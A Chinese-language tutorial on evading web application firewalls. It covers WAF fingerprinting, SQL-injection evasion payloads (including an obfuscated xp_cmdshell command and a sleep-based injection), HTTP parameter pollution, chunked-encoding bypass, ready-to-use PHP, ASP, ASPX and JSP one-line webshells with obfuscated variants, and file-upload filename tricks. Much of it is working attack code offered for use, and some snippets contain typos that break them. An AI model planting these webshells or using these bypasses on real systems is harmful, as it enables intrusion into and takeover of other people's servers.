WAF 繞過
1.WAF分類
1.1.軟體 WAF
一般被安裝到 Web 伺服器中直接對其進行防護,能夠接觸到伺服器上的檔案,直接檢測伺服器上是否有不安全的檔案和操作等。
常見的軟體:安全狗、雲盾、雲鎖等
1.2.硬體 WAF
以硬體的形式部署在網路鏈路中,串聯部署、旁路部署
串聯部署的 WAF 在檢測到惡意流程之後可以直接攔截
旁路部署的 WAF 只能記錄攻擊流程,無法直接進行攔截
常見的硬體 WAF:綠盟 WAF、天融信 WAF、360 WAF 等各大廠商的產品
1.3.雲 WAF
前兩種無法適配雲端業務系統,雲 WAF 一般以反向代理的方式進行配置,透過配置 NS 記錄或者 CNAME 記錄,使相關的服務請求先被髮送到雲 WAF
常見的雲 WAF:安全寶、百度加速樂等
1.4.網站內建 WAF
程式設計師將攔截防護的功能內嵌到網站中,可以直接對使用者的請求進行過濾
這種方式使用在早期防護,自由度較高,但防護能力一般,升級迭代比較麻煩
2.WAF 處理流程
大致分為四個流程:預處理、規則檢測、處理模組、日誌記錄
第一步:預處理。使用者請求 Web 服務,該請求到達伺服器後先進行身份認證,透過匹配白名單進行檢測,判斷是否歸屬白名單。如果歸屬,就直接把該請求傳送到伺服器;不然就先進行資料包解析;
第二步:規則檢測。上述資料包完成解析後會被投放到規則系統進行匹配,判斷是否有不符合規則的請求。如果符合規則,則該資料會被放行到伺服器;
第三步:處理模組。如果不符合規則,則會進行攔截,並彈出警告頁面。不同 WAF 的產品彈出的警告頁面各不相同;
第四步:日誌記錄。WAF 會將攔截處理等行為記錄在日誌中,便於對日誌進行分析。
3.WAF 識別
3.1.sqlmap 判斷
檢測語句:sqlmap -u "url" --identify-waf --batch
如果安裝的 WAF 沒有 “指紋” 特徵(比較隱蔽或在 sqlmap 的指紋庫中沒有該特徵資訊),那麼識別出的結果就是 Generic
注意:詳細的識別規則在 sqlmap 的 waf 目錄下,也可自己編寫規則,編寫完成後直接放在 waf 目錄下即可
3.2.WAFW00F 識別
安裝及簡單使用:
git clone https://github.com/EnableSecurity/wafw00f cd wafw00f python setup.py install
wafw00f -l #顯示可檢測出的 WAF 型別
wafw00f https://www.example.org #檢測 WAF 命令
其他工具:https://github.com/stamparm/identYwaf/tree/master
3.3.手工判斷
檢視網站的攔截頁面,被攔截的表現為頁面無法訪問、響應碼不同、返回與正常請求網頁時不同的結果等,各類 WAF 的響應頁面資訊也不同
響應頁面:https://github.com/stamparm/identYwaf/tree/master/screenshots、https://developer.aliyun.com/article/1340129
4.SQL 注入漏洞繞過
4.1.大小寫繞過
union --> uUiOn
4.2.替換關鍵字繞過
4.2.1.關鍵詞雙寫
union --> UNIunionON
4.2.2.同價詞替換
and | && |
or | || |
= | <、> |
空格 | %20、%09、%0a、%0b、%0c、%0d、%a0、/**/ |
4.2.3.特殊字元拼接
常見的特殊符號:+、#、%23、--+、\\\\、``、@、~、!、%、()、[]、|、%00 等
例如:
select`version`(); #可以繞過空格的過濾
select+id-1+1.from users; #+ 用於連線字串,使用 - 和 . 可以繞過對空格和關鍵詞的過濾
index.aspx?id=1;exec('ma'+'ster..x'+'p_cm'+dsh+'ell "net user"'); #可以繞過對空格和關鍵詞的過濾,exec 中原語句:master xp_cmdshell net user
4.3.編碼繞過
常見編碼型別:URL 編碼、Base64 編碼、Unicode 編碼、HEC 編碼、ASCII 編碼等
4.3.1.URL 編碼
在瀏覽器的輸入框中,非保留字的字元會被 URL 編碼,如空格變為 %20、單引號變為 %27、左括號變為 %28 等
在繞過 WAF 時可以考慮 URL 編碼,針對特殊情況可以進行兩次 URL 編碼(payload 到達伺服器後會自動進行一次 URL 解碼,再經過程式碼中的 urldecode 函式解碼)
4.3.2.Base64 編碼
一種將二進位制資料轉換為文字格式的編碼方式,將三個位元組的二進位制資料編碼為4個可列印字元
原字串:select user() --+
編碼後:c2VsZWN0IHVzZXIoKSAtLSs=
4.3.3.HEX 編碼
原字串:select user() --+
編碼後:\u0073\u0065\u006c\u0065\u0063\u0074\u0020\u0075\u0073\u0065\u0072\u0028\u0029\u0020\u002d\u002d\u002b
4.3.3.Unicode 編碼
原字串:select user() --+
編碼後:select user() --+
線上編碼網站
XSS'OR
安全小工具
CTF 線上工具
MD5 線上解密
4.4.內聯註釋繞過
指再 SQL 語句中使用註釋來避免注入攻擊的一種技術,可在無法使用引數化查詢或儲存的情況下,透過在 SQL 語句中嵌入註釋來繞過注入攻擊
內聯註釋原理:在 SQL 語句中嵌入註釋,使攻擊者無法額外的語句或修改現有的語句(如:使用 -- 來註釋整行程式碼,或使用 /**/ 來註釋一段程式碼)
繞過:
在MySQL中擴充套件了註釋的功能:/*!50001payload*/,這種情況註釋裡的語句將被執行
例:1'+and +/*!50001sleep(3)*/+and+1=1%23
4.5.HTTP 引數汙染
HTTP 引數汙染(HTTP Parameter Polution,HPP),又被稱為重複引數汙染,指當同一引數出現多次時,不同的伺服器中介軟體會將其解析為不同的結果
如果 WAF 只檢測了同名引數的第一個或最後一個,並且伺服器中介軟體的特性正好取與 WAF 相反的引數,則可能成功繞過
常見引數汙染方法:
伺服器中介軟體
|
解析結果
|
舉例說明
|
ASP .NET/ IIS
|
所有出現的引數值用逗號連線
|
color=red,blue
|
ASP / IIS
|
所有出現的引數值用逗號連線
|
color=red,blue
|
PHP / Apache
|
僅最後一次出現引數值
|
color=blue
|
PHP / Zeus
|
僅最後一次出現引數值
|
color=blue
|
JSP,Servlet / Apache Tomcat
|
僅第一次數顯引數值
|
color=red
|
JSP,Servlet / Oracle Application Server 10g
|
僅第一次數顯引數值
|
color=red
|
JSP,Servlet / Jetty
|
僅第一次數顯引數值
|
color=red
|
IBM Lotus Domino
|
僅最後一次出現引數值
|
color=blue
|
IBM HTTP Server
|
僅第一次數顯引數值
|
color=red
|
mod_perl,libapreq2 / Apache
|
僅第一次數顯引數值
|
color=red
|
Perl CGI / Apache
|
僅第一次數顯引數值
|
color=red
|
mod_wsgi(python) / Apache
|
僅第一次數顯引數值
|
color=red
|
Python / Zope
|
轉化為 List
|
color=['red','blue']
|
例:xxx.php?id=1'union--+&id=*/%0aselect 1,2,'web.config'--+
Bypass語句:xxx.php?id=1'union--+&id=*/%0aselect 1&iid=2&id='web.config'--+
4.6.分塊傳輸
需要對 POST 資料進行分塊傳輸編碼,是 HTTP 的一種傳輸方式,適用於 HTTP 1.1 版本,需要在請求行中新增 Transfer-Encoding: Chunked。
做法:
- 先攔截資料並將其傳送到 Burt Suite 的 Reperter 模組;
- 再使用 Burp Suite 的 Chunked coding comverter 選項,對 POST 資料進行分塊傳輸編碼(Encoing request body);
- 向伺服器傳送已構造好的資料
4.7.sqlmap 繞過 WAF
sqlmap 發出的資料包在預設情況下不會被處理,可能會被伺服器的攔截規則 pass,這種情況下可以考慮使用引數 tamper
當指令碼在實際測試過程中用處不大時,需要對其進行修改或者重現編寫
指令碼參考:https://www.cnblogs.com/luoluostudy/p/18115882
5.webshell 變形
5.1.常見一句話木馬
型別 | 基本木馬 |
PHP | <?php @eval($_POST['key']);?>等 |
ASPX | <%@ Page Language="Jscript"%><%eval(Request.Item["g"],"unsafe");%>等 |
ASP | <% eval request("cmd")%>等 |
JSP | <%!class U extends ClassLoader{ U(ClassLoader c){ super(c); }public Class g(byte []b){ returm super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant"); if(cls!=null){ new U(this.getClass.getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>等 |
小馬:程式碼量比一句話木馬多,功能比較單一,比如寫木馬檔案、讀敏感檔案等,容易被殺軟查殺,常見有404小馬、功能小馬等
大馬:程式碼量大,體積大,可以和一句話木馬配合使用(先繞過一句話木馬,再上傳大馬),容易被發現,可以變形或偽裝(編碼、遠端接入等),功能主要為檔案管理、命令執行、資料庫管理、清理木馬、寫木馬、資訊收集、提權、內網滲透等
5.2.自定義函式
create_function 函式,用於在執行時動態建立一個函式
用法:mixed create_function(string $args, string $code)
$args:表示函式的引數列表,使用逗號分割,每個引數可以有一個初始值
$code:表示函式的主體部分,是一個字串形式的 PHP 程式碼塊
構造一句話木馬的指令碼:<?php $fun=create_function(' ',$POST['a'];$fun();?>
5.3.回撥函式
call_user_func 函式,用於呼叫第一個引數給定的回撥並將其餘引數作為引數傳遞
用法:mixed call_user_func( $function_name[, mixed $value1[, mixed $...]])
$function_name:表示已定義函式列表中函式呼叫的名稱,是一個字串型別引數
$value:表示混合值,是一個或多個要傳遞給函式的引數
構造一句話木馬指令碼:<?Php @call_user_func(assert, $_POST['a']);?>
5.4.指令碼型 Webshell
構造指令碼型木馬的指令碼:<script language=php>@eval($_POST['web']);</script>
5.5.加解密
5.5.1. base64_decode 函式
<?php $a=base64_decode("ZXZhbA==");//assert $a($_POST['a']); ?>
5.5.2.str_rot13 函式
演算法:將字母表中每一個字母都替換為它後面的第 13 個字母
<?php $a=str_rot13("nffreg");//assert $a($_POST['p']); ?>
5.5.3.綜合加密類變形
<?php if(isset($_POST['com'])&&md5($_POST['com'])=='202cb962ac59075b964b07152d234b70'&&isset($_POST['content'])) $content=strtr($_POST['content'], '-_,','+/=');eval(base64_decode($content)); ?> #202cb962ac59075b964b07152d234b70--123
5.6.反序列化
兩個函式:serialize()、unserialize()
<?php class Blog {var $vul=''; function_destruct() {eval($this->vul);}} unserialize($_GET['name']); ?>
測試payload:index.php?name=O:4:"Blog":1:{s:3:"vul";s:10:"phpinfo();";}
5.7.類的方法
將操作封裝成正常的類,再進行呼叫
<?php class log {function write($er) {@assert($er);//在定義的類中肯定有某些危險的函式用來執行或解析程式碼 }} $win=new log(); $win->write($_POST['p']); ?>
5.8.其他方法
5.8.1.get_defined_functions 函式構造木馬
作用:返回所有一定義的函式,包括內建函式和使用者定義的函式
透過該函式得到所有函式
<?php $a=get_defined_functions(); //print_r($a['internal']); $a['internal'][1110]($_GET['a']); ?>
5.8.2.forward_static_call_array 函式構造木馬
作用:允許呼叫一個類的靜態方法,並將方法的引數作為一個陣列傳遞
語法:forward_static_call_array(callable $callback, array $parameters): mixed
$callback:指定要呼叫的靜態方法,可以使用字串表示,如:MyClass::myMethod;或者使用陣列形式表示,如:[$myObject, 'myMethod']
$parameters:包含方法引數的陣列
<?php /** * Noticed : (PHP 5 >= 5.3.0, PHP 7) */ $password="cream_sec"; #密碼是cream_sec $wx=substr($_SERVER["HTTP_REFERER"],-7,4); forward_static_call_array($wx."ert", array($_REQUEST[$password])); ?>
請求時,先設定 Referer 頭,後面以 “ass” 結尾,如:Referer: https://www.baidu.com/ass.php
6.檔案上傳漏洞繞過
檔案上傳漏洞原因:
- 檔案型別檢測不嚴格;
- 檔案大小限制不嚴格;
- 上傳路徑可控
- 檔名可控等。
6.1.換行繞過
上傳檔案,攔截資料包,在檔名處直接新增換行即可
6.2.多個等號繞過
上傳檔案,攔截資料包,在檔名處新增多個等號:filename===="info.php"
6.3.00 截斷繞過
針對檔名可控的檔案上傳漏洞
上傳檔案,攔截資料包,在 HEX 模式下,在檔案最後新增 %00
6.4.檔名加 ; 繞過
在檔案字尾點前面新增 ;:filename="info;.php"
6.5.檔名加 ' 繞過
在檔案字尾點前新增 ' :filename="info'.php"